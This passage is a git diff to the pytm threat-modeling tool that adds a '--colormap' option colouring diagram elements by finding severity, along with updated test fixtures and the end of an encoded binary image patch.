zvnMFS@^$AV)S~i`ZjdxHKVM1V1-hL3_Iht-M-7qIpSdNZqMEwH^KD7E5R%@q_&JS2
zNvXkJuJ!DqeS($36Bk-$P;AsXg?Pyb`LbT>Oh3+<gq?wBVa`eZY+3hpjJ$kJrVX5v
z$8e29TNY}zeRW95!>F^HTu@_VtM+Q)Bicu5QE0w+u(o{Z*y@$P%;M*F!?LA@N+Na%
zCCzLaZ~|Fu8j)#D!E)aADq~|0qtt{7x~iyi<7A=e(bkmwVFA**_q>JCt7rH#GJ{KM
z`p8SbcHt9?YxQLOKR(}a-}PsZEWiQQ2*?W^@HPC6hoMWsgr+XFaAY)}UF_`*(z+qM
zy|BaD9gy$LaTb#pmee*yN)^q0cXQCtK2ijD`zJQa>grEqRy)@D2ZV(YUrx!c^BN#5
z0a!I<0&|5|F03n=7_qn0>uG*OmQu7rFB0y0bi}#n>SEKd^y`ahQEvMqGk0%H34~Kd
zdDoawQk&BgsW0?{67Et<*h?WPZ<-rdVW0SeLuu5lxo+<;f;&L_&V3Me99-Rxx!F(;
z9v=5}%oYS@I6^b#3f~ppoJZ|}iJw@#4A1^sY_m@zKt8zhOXr%7fms<DHUw;z6g+<D
zEG_{zS$EWXz0~eDlrElmk<=oW4`s1=zV*uILvT8Ciau0814ik7VrPnOZs@x;+uS7V
z*Db&5<3pL*+Ih9AsEzU83EbV3s-{D7Mi*ofd*S&R>Samn;;6Eq*5eG&x}#-<!=;^3
z7_=ied`IjOTvxNfG#>-nQvGQq8L9xaq+2ZNDc`J<muU_LCVmBWszkp&^z`E<O$vly
zY1naQo`9E-(qZ-xUo=~(u#Z95ySBDE%HQ)Q>3c`{{CO0D9Un=Xnn5o$<3p7?quOhe
z&H4$$8)}FoUf|a-r$}eB6GFRF<(4a1Ik#O#xOZ|H8qe+<DGbd(-;{|zO#`#@xwSnF
z#`U9onk5N{5=&VDlHXQe{R}@!d&`y!32$h^g|!wlS9wO4YB`ZQF*(-D3X%?S#E)XP
zO=O3kaPZGBe$qi&c@tzQXD-@T^oqCBng?QzplH3&993Vf{^OQ8qS#&3g#@&Udn$B1
z^l`m}1E#onQoaJA=DZC%TjBinz0Ed@QF`uKFbO1^J9?C**(@u+pK(BTTCwTKETMuN
zd-x|o@@~y->xT#ePyEG0Hs)xPiH6PJ`ICs6e8~cEx=M>3K|Ht85OXe^GLcQ7aA*aX
z9lm5T49{sc$1<_tKo4}bV@U;LfkP=Rzt(K!@=%*^ZwNJFa22oIMUf+?9{47JJwImf
zbp_4#01zJ>R=W(-+?1)i8tUr}98=FCrr_PCW@SyBGv}mO6(KFn)P7IX)vuGPE)Vkg
zay55H)5kXziL!62uY4T-1&({{X$Ltc@9pHS6W|H7m}BrQVLop^St)A$mw>oP&j0{i
zFgQUd!2|@kV?>eH+x+j?-gKPlfimbdBZ(!{|I5ODOsL3+^m?x?*v^E8+mI)|zWqeI
z19>i%HX0$@^bNO<?C{QZ(@D479kWPULv{3!YUjDE%;VDv3eR->GX&`jWxR+P=)4)r
zt{K*P0R!~s-XGVB#>gV2&`x#WkRgUPCAT#5BBK=*ujRP~A}h!4^bUg#j~aj33z^B6
z*21Fj!ptw$SuF@V(~AX_$>!~>?@P>>f^z=={7}}Z)SPs>QWJCB;@ms8lR3lVj${(?
zIa{vkBbe4zNV#j=Qf&fsdk?!H80YHa$Bi=H4Gx`bG_w=fKk?6bc%*{|WIH$XB5)_n
zcvRO|H#1_I)t;ujN<EXRw~?|M`+?`%ze1=LrsOmNHe6EZi|+^}>yfarJY3`yvJZO~
z#L7uru_#z>q5Q!QM!apv=0b5nkUqF#Wn6vdZ~kW9Zz~HRvtxlM1u!yEQSku1{lEbO
z^le_)=+-6m1-?JC{%jnvxZ>PFt!Q~Ar2xK!^Xn&SG*S+q(@qW!(sC)jS*u0W>)QN~
zpuG8<!MQmr#wY!hT-n0dxCS+C1Iqzbk{ls=1?^qc9}?8B5}ozyYaNRr_buxt!=A~Q
zOP7rGWi%h>?Z~QaXo!*YIunn<7AaY0^XBA)=S+8!*~YD4pJCc91eZ6(;%8N%RX!bo
z-zfNeep)S~sUO1Xx)^wz?g!g=5Bd@th$3qut1}%>*0#1f1z16lETU^nkp!%WQwgO6
zA+_ni4L!GZ2mWZi&WM?PK$HUAiy=JHL`i^Fw0<8c-}k(mNh3#&j8)H4THQns-0KV$
z&YupYJPrmQ4)yfxJwpjIMb*507M@Mxm+hkr$QT^ADx{@&zzj<=B|lbJ=ccE(ITkZV
z;MQyJJUnt1B-_`0dyhFGtP2oa#V$<vIM7KKl=h5aVq#MBrzJM{>|PfIDvEMCvFmeh
z=@}9GMdq;k)+ygpcGRfDmoM)KH8G%GUh4Ja!W`!m2U29{^ug|CjTYNIJRZjXGTS<P
ztD%l#QEuD4IVerTAN3m$6d1G3X|P657dx3d{_)wo`4E^~RJ;Xnj*a5VE&NH`W}BqD
ztKUt+$1Xl)Wq-#*9AR*tPRHX(Lx>;EtB(Dg{Xn&DY6Y%p%l3_qkgp0Dyz9KXykGo-
zamRYgFaDxzYh$AREmd&YxXYTNv9g-oH@TsfB7&`ku|+O&K~hPE%OIlbUN(7@1%nl*
z&LS$>ADz7!%toc!ZMky`8F>kY-kY~CPcj@dc<`;nlq)*?3kUBvxN4l@ActZ6_}n?J
ze2z)x&%+=r2AhkiuFskL@v@=wI$w<~Ul9eOI3AZV&Mp-8AruKkbeQ&eJ=%eW4g>}Y
zHz7Ca)Jw-GX@xkGfTw$Z&6K-D&W}nqT%|jF2=kP8-^=?=J1uq6Tug4LLk+fX=3L_C
ze)wuvdkP{^NYq1nYfiKm%N`gAtZ8}w4JugI(CV*$#LcfTG8WHlLA2b1gjESpgaq06
zyhUCFg-LlTh2#N%x`Dt^hZ84R^`BqzcjYW6VgIaf<C6$H8Z}CFS~5Hy0HQU`&tDO(
zMe+LGNRM4i<kR_q_BQs;SD>s=U~E>RGnw|>vn9#?@+DeUq5lC;K@vHfd@*tM?2hM~
zfAwb^44~PzuYt0ySzeAO=N6;SlN0+`<bwW0L?8i=*>~;Q0@j1Fc6h$LRQG?^r#%Gk
z3^ule-AX~5+>1^M%+@H;Op#<kEy`xSd(bAxIF>XS;`GHTtIe$jjWJ=?VVV>Maw4N?
zg_*#bu$FtbZ;PQUOQeGd48jJ7bcWdQh@!sza@2Lkleg!<q!Gp-WE0PWI^n*y`QMn(
zC%#)3Ry8Xr2ll4ou3%BpDf1-ONNm_5&P~>VnIb~PiEX3ues4_)d0mxA5v>3Q9Z+g#
zK*SKOLJz&2$iK?7Hzy}51guw;ORRX!uAOfbQgYu1Bs_zW9ty5`D?fkXoqP9^-*ph5
z2g5sQ@cH`DCowk}KMn=cq(`pF94n<=&J@i`m0qyNLNTmRpl3SQ5#%@;?rk)&tUUSj
zOtB^^6j;YZeK8OG<Ah}WOmoN|-weKdSmV}$yC`FnPWmSpDA6E1XlW;0RDUqfNND-}
z_Yx}mb2o)x9HQkX+(#U|<^^f_YDEkA{txrKhDMk6G$;{1wGdZB;p&NbAV_^7BGyE6
zm%l5@6F|__6<^YSr3D%|Dbeie>poK5Mf36!(vL>CneT`P+b1%lmVono^Wx>pLMS|9
zVY;xLh`WFKWn8?1b6Z=tH^0gFxK#bCgj<o3gMy~QHr`;xCPoWM?>ZPI7&Fl1@Q%fz
z7GPR5gxqc++9OH)f>nKdxD5!bK|_T4seacCVyAB>tbw6fWV{6K5>$SOC|L^#ZSo}v
z`V(YB*PRP>SSzYWA%LGYR7jDk3-%UHTv7j`^=dlbVNPUAV-BW!q_OujPDY6iP85<?
z(EsjAXg?eK^5ondGoaK>BTdu&?xw{_!_$yga{~&^@^V$gGh#Nst%}nd9@{))0*4e}
zM&M)lmeb~@aB~kG%Cy`dK2bs02$h+i89(!^bQn#sgK?B*O64TdfB|as5QH&nhPiB2
zlV5mX|9(Bm_^DG@>W4I2PuaXCtL(1ZXXYmm%Zvg^wc6c6n7uu0_Cmg*V`6fm=@XAU
zgy~QZJyaqgjAMJ~p-nS=9YO20npbb{I)8W+EJy`pq!k5bss+;_p~;`yWNtl$#Zf1~
z0hq!GxG%%>F6>2aGL6BSVK0xkH4Q}Z)2-`i##zI}-2s}}yPiJ!0{ttoqK7aO$k=p7
z)W-H15pdz;PPcMXnKP#%K3#o+E?R}sOc<g3XDwBAQSl+Cl0gXk`0nm5!zYWVXl(X1
zs}yU>2n-y``;6q22buZ49<u%O>#VIVF5NK)JOUU^B-Vjpd;h1lKH`rA==rzDk5d_B
zK$H|bvFZ;^H{Ks#7Yn^V-gpu#WJMVw5#5vZ;kjCHATn}<fQdnBMYF~&%OV<&G~sdK
z?fsah7=UsEE(xG62rSH_+uC21`m!#mtF!XzdM78ATnvQ<#$~g#wq67jz_ZMyT?cvF
z3n19W*7>Lkdn_qrMZ*|AZ8wj^^UKNbK&rgMb3Y6PzR^gjw4OGUB_qKxHwKd3ri5*t
zlWk&?bvvj(g;ors+M?*gOOzt_N+i+`wHGfmn0Jn)>zuNSW&ckh<CNDP7JTH$8A(xf
z*N2&!`Z5h<039UAgBO(AsRra*#&4~nH&mqIE}~<P<w2dO^`sUZoM*AF#TYtqD9DN7
z_EX%#B9V}kQXH9M1sp$qJmH{D%qoO$tCOC_q;}wevwZa`H96hrH;n@VR&{=Os?+q;
z$xNVCH>BfM$!I3D`o$*Wd4sw0L5gOj(B{m)bXtiOFiRihOfhgxr0lM#t8;lec%p;n
z6&f-OZMA7PHdW=ck6330_mz<xteNWRR|;5ve2}}(EdDwTh|ScaTFLdD0a^Vf8JW%+
zNNMnP(=nYXi|fRMWya=bOTD~)LdYN1Z^^Un+Ee_bXMVb<-}jY_ZZRdS*oBJ(A=Onu
z+`gs3y{)EGqS^x1sXZxK4!N|h)N*6s{(>8p)AaQ8u5pD(JlMJT!jJ$41%)3^j}7yJ
zKI}o0>#KIpKRoAZMGxSP5F)9C^I6}8s-C#T2AGA36}8RHIy7N;r3?O3lA)Q+`GW$^
zSQ6Y@f0C5%ZYEUkxjQa@e%iY8Q_Xi`Eef|U8+wR+h8#E>UCchiM9svCGPsW7r!v!t
zE)`%r^gd1-fCZm`D;>?Q3-Eb97XlO1LH=+v`AK3&ik)gLMmF@BSkH|gJ$e__EzxQb
zyLGy@j85j$be4`g7Dy1g@O|$^-rn1{Y<1!&bZ~g#^1Kjs7YrcmROJ}+h$#>cESC30
z;Bi5OT8aa7`p(jpc28K?w<+y(V0OSGY+&*rh)m{}wsgxd)n(EkcA*@e*Qo%+fJaXF
z>rP&QeVq2aA=zblbNWp(w4CD_AG2uFMcj2nK}7*7G$wFls5pl4Z~1pZo`*+JVCE2>
zJcP_o=+$)*WWj)cNpZv3djFgC;pyn}M{chlP~J5)>dnxUlrat!$*26s4$x4Q=(;EY
zEV;Le57*InlAAP$TgJd-A*~`+eBYhkeKqwN)LV1z1vZ4D)sOY3(;XiDh~b4&(l8MI
z`5TnZ#S4r~<^E5Lh%kbZ!Tkn(x&Wd&X3Q8lul3yq&q?&$u|tJ`*oEr3jp^+)2yzx)
z?=)%hb?DS}ryU<c7sf%zhi1DBMiUSneio5bRw{1I54Gk`5{|B-ydy!1?;{|`)hp+U
zU1u?i25Ib{pc@=$JB2Qb0O?7EN##IhNlvrgv|8+`5``<9DD%lm!jOS8lI}|VSh_*m
zx%A**S=m7&M%*RbK2Ej%j>4l%z9IpAm^3p`8e|j2Vgsu0Q%CEgh9RPv!wBI#Vp=#u
z%l56FN>ft|ezhG8nUi`h=EeX%OoH|V*~zghm%M)M*fdQpm%t@3=5hq5%l55G5uaZy
zLb0%jj9K*8U*F`Gye{s9T5*}YYA?pz=D8k6DLPFr+F3PiY1V}v!|9H%uwS;XY{M(V
z^O6O$=6}7zZ*|ieG#(x#f|4XRu<bCcU(9oyP0}F^U{JMT>tq#rh7&`|h^E?8BBpEV
zqb8_@xnPUbQ+H?I{ag$PaIB!k`Kn)<Ebc822k;lO1*(A5R3s?cQHr!o*QK^`3cV=a
z&m#7L^_z|b8N;^8Bf@|POoGi-tplQHvbMKZ7>TEdSdBa(EXUI#77WTNwX5gx!buF_
zxrz;)Vud5`X;ae!8WZhfJlfSVw;rmAb^!?M4o|e>g>QdMp{xW#RCPH^KgljZLHL%U
zVG5vpW@4r|X;K~S%NR_yuqs<UyJ-jyGpBSMK`SD=qjx6q+8<5Q`~cDrh87c(hSABR
zvcjE<Mm%4j9&g{;>8VTx&|^>OP;L&Fb?z^-wtf?&B{CQSF7a)RO|(Z&_LFXp;jOar
z&uY++y*Vx$c^NONny-GOkyK{l0IE>{i~Bl*4+tt7$&+Yn%9v=4^n4{h((CO)INEH|
zji#t-SN>cJB+El=19)>L-2J1461os<xxmMv7B2Vj_%!Ox9;L~$T(g-G8=TLY<;hK&
zI#qj0*8*MJeN30%l6v0rhlQax=~uLMbOifcfcY<Ai7X+Rl9fp#e+OJ&Z1T@m*q7R8
zTx5j_;q-?QBgllt*s>BqA=wjw|3;@2r%Z{ZtA&Y)%xE$0Q=E9Qz)Af1Wxh`&BLT7Q
z38`mcq3C3~Uix(Hqn>AdszIH%ene+Uc;|!`v!3#sAJVt#t7MFDXCLfh22Iq65~4KO
zL#VXC*Tg0#V#Qnh&jnD*?*b7T8l+WTw_;thQfSe|OQCo{Q&tvGf5Y>V#$^OP1LtCT
zM#!_4<fJlZt9gd6pZwhxkGZ3%vMt3|uEJgo&Kz(PZbQ{(VWmy3Or=+un(APuNFj$^
zbaZ74MO>_5A3X9o#n2S5u@VIzJM|Hj@_#*X_i@>F1tjmb-G^wagS1x1RbDbHa~2KV
zqP-7#^S{^6i@y@lV%ooKJP3^2vK-Bb)SRVLsQzKWa0^e`dhy?@+3CP$)=ee;`Igu0
zRHF<Nb*-oH?6<nQ-h`+|0d~=JvKT4Q!1&Bcx;R7WSYTtgm>PTALEaB+D%an!!%Y34
zRI5dBAUsUO^o7)*+Pb<_xBe&}gjyUX7`I_j%qn&WT6>aG3{D1|t85_^@nzXcv<GnJ
z3vk^bG9@=%*kjey>_+h?cAwJSiDY7AR4KP|J{X4n{D}IvG}}i%F5CB@p5^bt;R*`y
z(&fwRNi00d^$rdKWdMCvNqWvoXiaK2Qv6vi9BHSF@>OoUGN3xGI5`-vtzMiUaLM<0
zQXv0bL005njKLI#rjIqR3&7jN{?>8h{7A_2a}QlK4?oS+Z^5I>C^~ow{_!W~+h<?e
zQuB>4wc%Hb-i%<@)+SmZB$<PNQE3cIa+Krvh9EywOXUolo`x|F4&LN;4-Br2<E!G+
z<@KzpYWp9hONPzd`~$^bR*>$%-fhY=b_c!jlWrU<PEcY!g=ji@@8>>Wy@l(Hs$5?*
zLv^h_U*`zTCYx6m{$5^FTdTov3Fts#p63|~*Lo270%%+SoVYMpv+#<_y*nV>>b0A)
zDJ^nrI-I_@nm%))ELBjn&(|(NOggoq5ENZp2eFq#T|I(ps<!`Tts#CYXo_UPYz6X2
z3YjiSI>#rA`JUmlT|CmTeye-RNBHmU(3NjqgDhj^ypC~HdzUU>c7X>15WA90KG`hu
zqN_(n?5YHh7rVdn0I!{m4-M0r4TJ``E3E3;b|OHD1H7CRx?Eqz*~R7izI|;dm0?|-
zBBlk?d6}rIrV}mrLcV-c6?Pc`a2Rj(etXt6kW#Vg$aLAe;ZX{r;OEyLLtJwB@Zp$6
z=Tx}6jpD)e|LLs+BW<tfpN|ry3!=0$%|nvR_Q_AaTV|!|0l@E@e~r2}!gakqjNeqi
z6@J0;l(m3Q9cl=Evpm)Irf-})LJKpW<4dRzm^Y`pDzw{Eh;t-^$CppMt3_TszZF#J
z=;oug=bd}pZH#@dHatkH_mVPK;|zz5P11hSeV2l=Nvo+KSQ9x2=O@P|z2*wufuN`r
z7Z;bE<@+2P$3ggjcAy-=GSck(B*V$9IQ;E`Rd;+)yHWGq0`VxT`RCuY<w`(@CAvT?
z<m+!}I?{Y_MO+=8dK*}7@h966CNM@TljmL^8_y4a$+e+cgXK*+QYLbuBy?)JP*Py0
zn&$Fyg=pB|xKK)o+N|%k7=3v^yI%E!48=AifHX096YA~z_YX6vcIJi>k|&RNzV=RW
zaUDf;9GUFTrj<TXluabGJ*d=g*P3v*3k`GznfEr~ac17wdv>#w!_4rLE8;|jDR2Pl
zEipi$w55<b!x1Hv7^~kjQ<e+j{?bofV>tVmk&jYn03aT)V<XE+ESseLrK7SxT_i!)
zK35F54m*{ywT>NT>^Sx(LzXe-2Yq?PGFIdd^;bT>Nnh%PW=8;G@RfvZQJA=*Ajt%<
zMJOW3lQv+>L@MKPR~oh4y|vv;S~Pm@9w!?WD?%U?1o8aD+6h7bAexJKkM#nTIm3(s
zIt*lRkS2vC!Q;o-j~q5B1Za=|AkLu>5J3|?zqoh6Z@>Qf>yhAKu?d(7l^B{cQGtPp
zm?HoA^DBqm?74I*xTCGx7US%)>qnXNNVKOce%;jWDH0h&Hc|A7GN0&3CnxOpSHyK!
z%3PR*{o22Jpa=h%Yd!Nu=2@&n9!a_bk6Mj+G>3)3htOS<lf(i_clSc15$GtP6l!tc
zVf_(ZO+Ou?loOqtf#EBe3|n&d<;!y*rD2(KGSW!KpR_HyGuHb7(Za0)Thl$@OZ*=%
z^H*~wnkC>OUMxx356To35i=^15N;kkZWNFk^Npx?qGHEoOWQ`TO0avJHl8SQ^Xb#4
z;=ub|kp3%PX!J}EuBUJDleVq+yJwpAYm5nfFaOlUKG=GSYod`gQn0^jr7?@sNB^rN
z0Lo6Yue?_#&!apt;qhd$r$*1>qyP9}<L`i#(~;@~i!7@Vz9xOxgH0uO7Ah)czur2@
z$jHF`w-x5i%e)hOKDPTy-(7ZW`4rRTrw?_;HpIC(UAdFt{du!lp%sqFPQOj8vt6~W
zdD)lCDO3IIEF$hE#}}OcF(fML>By{{)_MG(wX6UAg93ie=DG5%It`>;d;KH9i%;Tb
zqAl|Ne|+En{SiaQQKS)fCW$u#aAEj2Xf7&*|N93N$$6BQEfmi%>dvh8ul}lAnv1*t
RI#j}cv^7^OPS&v8^FRMk6Yu~4

literal 0
HcmV?d00001

diff --git a/pytm/pytm.py b/pytm/pytm.py
index e6e005fe..275d5f60 100644
--- a/pytm/pytm.py
+++ b/pytm/pytm.py
@@ -33,6 +33,17 @@
     By Chris Beaumont
 """
 
+def sev_to_color(sev):
+    # calculate the color depending on the severity
+    if sev == 5:
+        return "firebrick3"
+    elif sev <= 4 and sev >= 2:
+        return "gold"
+    elif sev < 2 and sev >= 0:
+        return "darkgreen"
+    
+    return "black"
+    
 
 class UIError(Exception):
     def __init__(self, e, context):
@@ -757,6 +768,7 @@ class TM:
         required=False,
         doc="A list of assumptions about the design/model.",
     )
+    _colormap = False
 
     def __init__(self, name, **kwargs):
         for key, value in kwargs.items():
@@ -819,9 +831,9 @@ def resolve(self):
 
                 finding_count += 1
                 f = Finding(e, id=str(finding_count), threat=t)
-                logger.debug(f"new finding: {f}")
                 findings.append(f)
                 elements[e].append(f)
+                e._set_severity(f.severity)
         self.findings = findings
         for e, findings in elements.items():
             e.findings = findings
@@ -1065,7 +1077,9 @@ def _process(self):
             print(self.seq())
 
         if result.dfd is True:
-            print(self.dfd(levels=(result.levels or set())))
+            if result.colormap is True:
+                self.resolve()
+            print(self.dfd(colormap=result.colormap, levels=(result.levels or set())))
 
         if (
             result.report is not None
@@ -1322,6 +1336,7 @@ class Element:
         doc="Location of the source code that describes this element relative to the directory of the model script.",
     )
     controls = varControls(None)
+    severity = 0
 
     def __init__(self, name, **kwargs):
         for key, value in kwargs.items():
@@ -1353,7 +1368,7 @@ def _dfd_template(self):
         return """{uniq_name} [
     shape = {shape};
     color = {color};
-    fontcolor = {color};
+    fontcolor = black;
     label = "{label}";
     margin = 0.02;
 ]
@@ -1366,10 +1381,14 @@ def dfd(self, **kwargs):
         if levels and not levels & self.levels:
             return ""
 
+        color = self._color()
+        if kwargs.get("colormap", False):
+            color = sev_to_color(self.severity)
+
         return self._dfd_template().format(
             uniq_name=self._uniq_name(),
             label=self._label(),
-            color=self._color(),
+            color=color,
             shape=self._shape(),
         )
 
@@ -1463,6 +1482,23 @@ def _attr_values(self):
     def checkTLSVersion(self, flows):
         return any(f.tlsVersion < self.minTLSVersion for f in flows)
 
+    def _set_severity(self, sev):
+        sevs = {
+            "very high": 5,
+            "high": 4,
+            "medium": 3,
+            "low": 2,
+            "very low": 1,
+            "info": 0
+        }
+
+        if(sev.lower() not in sevs.keys()):
+            return
+
+        if(self.severity < sevs[sev.lower()]):
+            self.severity = sevs[sev.lower()]        
+        return
+
 
 class Data:
     """Represents a single piece of data that traverses the system"""
@@ -1564,7 +1600,7 @@ def _dfd_template(self):
     shape = {shape};
 
     color = {color};
-    fontcolor = {color};
+    fontcolor = "black";
     label = <
         <table border="0" cellborder="0" cellpadding="2">
             <tr><td><b>{label}</b></td></tr>
@@ -1580,10 +1616,15 @@ def dfd(self, **kwargs):
         if levels and not levels & self.levels:
             return ""
 
+        color = self._color()
+
+        if kwargs.get("colormap", False):
+            color = sev_to_color(self.severity)
+
         return self._dfd_template().format(
             uniq_name=self._uniq_name(),
             label=self._label(),
-            color=self._color(),
+            color=color,
             shape=self._shape(),
         )
 
@@ -1647,7 +1688,7 @@ def _dfd_template(self):
     image = "{image}";
     imagescale = true;
     color = {color};
-    fontcolor = {color};
+    fontcolor = black;
     xlabel = "{label}";
     label = "";
 ]
@@ -1663,12 +1704,17 @@ def dfd(self, **kwargs):
         if levels and not levels & self.levels:
             return ""
 
+        color = self._color()
+
+        if kwargs.get("colormap", False):
+            color = sev_to_color(self.severity)
+
         return self._dfd_template().format(
             uniq_name=self._uniq_name(),
             label=self._label(),
-            color=self._color(),
+            color=color,
             shape=self._shape(),
-            image=os.path.join(os.path.dirname(__file__), "images", "datastore.png"),
+            image=os.path.join(os.path.dirname(__file__), "images", f"datastore_{color}.png"),
         )
 
 
@@ -1734,6 +1780,7 @@ class Dataflow(Element):
     note = varString("")
     usesVPN = varBool(False)
     usesSessionTokens = varBool(False)
+    severity = 0
 
     def __init__(self, source, sink, name, **kwargs):
         self.source = source
@@ -1766,6 +1813,11 @@ def dfd(self, mergeResponses=False, **kwargs):
         ):
             return ""
 
+        color = self._color()
+
+        if kwargs.get("colormap", False):
+            color = sev_to_color(self.severity)
+
         direction = "forward"
         label = self._label()
         if mergeResponses and self.response is not None:
@@ -1777,7 +1829,7 @@ def dfd(self, mergeResponses=False, **kwargs):
             sink=self.sink._uniq_name(),
             direction=direction,
             label=label,
-            color=self._color(),
+            color=color,
         )
 
     def hasDataLeaks(self):
@@ -1801,7 +1853,7 @@ def _dfd_template(self):
         return """subgraph cluster_{uniq_name} {{
     graph [
         fontsize = 10;
-        fontcolor = {color};
+        fontcolor = black;
         style = dashed;
         color = {color};
         label = <<i>{label}</i>>;
@@ -1817,23 +1869,25 @@ def dfd(self, **kwargs):
 
         self._is_drawn = True
 
-        logger.debug("Now drawing boundary " + self.name)
         edges = []
         for e in TM._elements:
             if e.inBoundary != self or e._is_drawn:
                 continue
             # The content to draw can include Boundary objects
-            logger.debug("Now drawing content {}".format(e.name))
             edges.append(e.dfd(**kwargs))
+        
         return self._dfd_template().format(
             uniq_name=self._uniq_name(),
             label=self._label(),
-            color=self._color(),
+            color=self._color(**kwargs),
             edges=indent("\n".join(edges), "    "),
         )
 
-    def _color(self):
-        return "firebrick2"
+    def _color(self, **kwargs):
+        if kwargs.get("colormap", False):
+            return "black"
+        else:
+            return "firebrick2"
 
     def parents(self):
         result = []
@@ -1905,7 +1959,7 @@ def encode_element_threat_data(obj):
     """Used to html encode threat data from a list of Elements"""
     encoded_elements = []
     if (type(obj) is not list):
-       raise ValueError("expecting a list value, got a {}".format(type(value)))
+       raise ValueError("expecting a list value, got a {}".format(type(obj)))
 
     for o in obj:
        c = copy.deepcopy(o)
@@ -1978,6 +2032,7 @@ def get_args():
     _parser.add_argument(
         "--list", action="store_true", help="list all available threats"
     )
+    _parser.add_argument("--colormap", action="store_true", help="color the risk in the diagram")
     _parser.add_argument(
         "--describe", help="describe the properties available for a given element"
     )
diff --git a/test.txt b/test.txt
new file mode 100644
index 00000000..86b5ed8f
--- /dev/null
+++ b/test.txt
@@ -0,0 +1,6 @@
+..........................................................................................................................
+----------------------------------------------------------------------
+Ran 122 tests in 0.047s
+
+OK
+/var/folders/w3/24r9gvg51fl48q4192fnfvrh0000gp/T
diff --git a/tests/dfd.dot b/tests/dfd.dot
index 1a16d248..2f707bb7 100644
--- a/tests/dfd.dot
+++ b/tests/dfd.dot
@@ -21,7 +21,7 @@ digraph tm {
     subgraph cluster_boundary_Companynet_88f2d9c06f {
         graph [
             fontsize = 10;
-            fontcolor = firebrick2;
+            fontcolor = black;
             style = dashed;
             color = firebrick2;
             label = <<i>Company net</i>>;
@@ -30,7 +30,7 @@ digraph tm {
         subgraph cluster_boundary_dmz_579e9aae81 {
             graph [
                 fontsize = 10;
-                fontcolor = firebrick2;
+                fontcolor = black;
                 style = dashed;
                 color = firebrick2;
                 label = <<i>dmz</i>>;
@@ -49,7 +49,7 @@ digraph tm {
         subgraph cluster_boundary_backend_f2eb7a3ff7 {
             graph [
                 fontsize = 10;
-                fontcolor = firebrick2;
+                fontcolor = black;
                 style = dashed;
                 color = firebrick2;
                 label = <<i>backend</i>>;
@@ -66,7 +66,7 @@ digraph tm {
             datastore_SQLDatabase_0291419f72 [
                 shape = none;
                 fixedsize = shape;
-                image = "INSTALL_PATH/pytm/images/datastore.png";
+                image = "INSTALL_PATH/pytm/images/datastore_black.png";
                 imagescale = true;
                 color = black;
                 fontcolor = black;
@@ -81,7 +81,7 @@ digraph tm {
     subgraph cluster_boundary_Internet_acf3059e70 {
         graph [
             fontsize = 10;
-            fontcolor = firebrick2;
+            fontcolor = black;
             style = dashed;
             color = firebrick2;
             label = <<i>Internet</i>>;
diff --git a/tests/dfd_level0.txt b/tests/dfd_level0.txt
index 6624edbf..bf888d24 100644
--- a/tests/dfd_level0.txt
+++ b/tests/dfd_level0.txt
@@ -21,7 +21,7 @@ digraph tm {
     subgraph cluster_boundary_Internet_acf3059e70 {
         graph [
             fontsize = 10;
-            fontcolor = firebrick2;
+            fontcolor = black;
             style = dashed;
             color = firebrick2;
             label = <<i>Internet</i>>;
@@ -40,7 +40,7 @@ digraph tm {
     subgraph cluster_boundary_ServerDB_88f2d9c06f {
         graph [
             fontsize = 10;
-            fontcolor = firebrick2;
+            fontcolor = black;
             style = dashed;
             color = firebrick2;
             label = <<i>Server/DB</i>>;
@@ -49,7 +49,7 @@ digraph tm {
         datastore_SQLDatabase_d2006ce1bb [
             shape = none;
             fixedsize = shape;
-            image = "INSTALL_PATH/pytm/images/datastore.png";
+            image = "INSTALL_PATH/pytm/images/datastore_black.png";
             imagescale = true;
             color = black;
             fontcolor = black;
diff --git a/tests/dfd_level1.txt b/tests/dfd_level1.txt
index 8509f3cc..61e4dfa2 100644
--- a/tests/dfd_level1.txt
+++ b/tests/dfd_level1.txt
@@ -21,7 +21,7 @@ digraph tm {
     subgraph cluster_boundary_Internet_acf3059e70 {
         graph [
             fontsize = 10;
-            fontcolor = firebrick2;
+            fontcolor = black;
             style = dashed;
             color = firebrick2;
             label = <<i>Internet</i>>;
@@ -40,7 +40,7 @@ digraph tm {
     subgraph cluster_boundary_ServerDB_88f2d9c06f {
         graph [
             fontsize = 10;
-            fontcolor = firebrick2;
+            fontcolor = black;
             style = dashed;
             color = firebrick2;
             label = <<i>Server/DB</i>>;
diff --git a/tests/output.json b/tests/output.json
index bfd26274..94d33262 100644
--- a/tests/output.json
+++ b/tests/output.json
@@ -68,6 +68,7 @@
             "overrides": [],
             "port": -1,
             "protocol": "",
+            "severity": 0,
             "sourceFiles": []
         }
     ],
@@ -145,6 +146,7 @@
             "overrides": [],
             "port": -1,
             "protocol": "",
+            "severity": 0,
             "sourceFiles": [],
             "usesCache": false,
             "usesEnvironmentVariables": false,
@@ -222,6 +224,7 @@
             "overrides": [],
             "port": -1,
             "protocol": "",
+            "severity": 0,
             "sourceFiles": [],
             "usesEnvironmentVariables": false
         },
@@ -298,6 +301,7 @@
             "overrides": [],
             "port": -1,
             "protocol": "",
+            "severity": 0,
             "sourceFiles": [],
             "tracksExecutionFlow": false,
             "usesEnvironmentVariables": false
@@ -377,6 +381,7 @@
             "overrides": [],
             "port": -1,
             "protocol": "",
+            "severity": 0,
             "sourceFiles": [],
             "storesLogData": false,
             "storesPII": false,
@@ -444,6 +449,7 @@
             "minTLSVersion": "TLSVersion.NONE",
             "name": "Internet",
             "overrides": [],
+            "severity": 0,
             "sourceFiles": []
         },
         {
@@ -503,9 +509,11 @@
             "minTLSVersion": "TLSVersion.NONE",
             "name": "Server/DB",
             "overrides": [],
+            "severity": 0,
             "sourceFiles": []
         }
     ],
+    "colormap": false,
     "data": [
         {
             "carriedBy": [
@@ -597,6 +605,7 @@
             "overrides": [],
             "port": -1,
             "protocol": "",
+            "severity": 0,
             "sourceFiles": []
         },
         {
@@ -672,6 +681,7 @@
             "overrides": [],
             "port": -1,
             "protocol": "",
+            "severity": 0,
             "sourceFiles": [],
             "usesCache": false,
             "usesEnvironmentVariables": false,
@@ -749,6 +759,7 @@
             "overrides": [],
             "port": -1,
             "protocol": "",
+            "severity": 0,
             "sourceFiles": [],
             "usesEnvironmentVariables": false
         },
@@ -825,6 +836,7 @@
             "overrides": [],
             "port": -1,
             "protocol": "",
+            "severity": 0,
             "sourceFiles": [],
             "tracksExecutionFlow": false,
             "usesEnvironmentVariables": false
@@ -904,6 +916,7 @@
             "overrides": [],
             "port": -1,
             "protocol": "",
+            "severity": 0,
             "sourceFiles": [],
             "storesLogData": false,
             "storesPII": false,
@@ -982,6 +995,7 @@
             "protocol": "",
             "response": null,
             "responseTo": null,
+            "severity": 0,
             "sink": "Web Server",
             "source": "User",
